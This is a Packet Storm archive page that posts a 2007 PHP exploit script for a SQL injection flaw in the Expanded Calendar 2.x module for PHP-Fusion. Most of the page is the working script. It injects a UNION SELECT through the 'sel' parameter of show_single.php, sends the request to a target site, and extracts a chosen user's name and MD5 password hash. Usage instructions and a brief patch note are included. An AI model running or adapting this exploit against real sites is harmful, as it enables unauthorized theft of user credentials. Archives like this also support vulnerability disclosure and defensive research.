what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpfusionex-sql.txt

phpfusionex-sql.txt
Posted Oct 2, 2007
Authored by Matrix86 | Site rbt-4.net

PHP-Fusion module Expanded Calendar 2.x remote SQL injection exploit.

tags | exploit, remote, php, sql injection
SHA-256 | 786a41f0f5e5ab6c2ba13842380a45c90b058300a2358b55583a20d9338486af

phpfusionex-sql.txt

Change Mirror Download
<?php
print_r("
/********************************************************
* Expanded Calendar 2.x (PHP-Fusion module) *
* User pass disclosure exploit *
* Found by Matrix86 of Rbt-4 Crew *
* Site: www.rbt-4.net *
* Mail: info[at]rbt-4[dot]net *
*********************************************************
* Bug found in *
* /infusions/calendar_events_panel/show_single.php *
* Line: *
* 27 *
* Vulnerability type: Sql injection *
* Unpatched! *
* Patch: *
* Line 26: *
* if(!isset(\$sel)||!isNum(\$sel)) fallback(\"index.php\");
*
********************************************************/
");

if($argc < 4) die("Usage: ".$argv[0]." [site] [path] [user_id]\nExample: ".$argv[0]." localhost /php-fusion/ 1\n");

ini_set("max_execution_time",0);
ini_set("default_socket_timeout",4);

$host = $argv[1];
$path = $argv[2];
$user_id = $argv[3];
$port = 80;

$sqlinit = "infusions/calendar_events_panel/show_single.php?sel=-1/**/UNION/**/SELECT/**/0,0,user_password,user_name,0,0,0,0,0,0,0,0/**/FROM/**/fusion_users/**/WHERE/**/user_id=";
$sqlend = "/*";

function send($req){
global $host,$port;

$ip = gethostbyname($host);
if(stristr($host,$ip)) die("Error: Host not found\n");

if(!($sock = fsockopen($ip,$port))) die("Error: unable open sock!\n");

fputs($sock,$req);
$response = "";
while (!feof($sock)) {
$response .= fgets ($sock,128);
}
fclose ($sock);
return $response;
}

$packet = "GET ".$path.$sqlinit.$user_id.$sqlend." HTTP/1.0\r\n";
$packet.= "User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)\r\n";
$packet.= "Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
echo "Packet:\n".$packet."\n\n";

$resp = send($packet);
$temp = explode("<td colspan='2'><font size='4'><u>",$resp);
$temp2 = explode("<td colspan='3' style='border-style: solid; border-width: 1px; padding-left: 4px; padding-right: 4px; padding-top: 1px; padding-bottom: 1px'><font style='font-size: 11px'>",$temp[1]);
$temp3 = explode("</td>",$temp2[1]);
$username = $temp3[0];

if(isset($temp[1])) {
$md5 = substr($temp[1],0,32);
echo "Id user: ".$user_id."\nUsername: ".$username."\nPassword: ".$md5."\n";
}
else echo("Bug Fixed..sorry!\n");

exit();
?>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close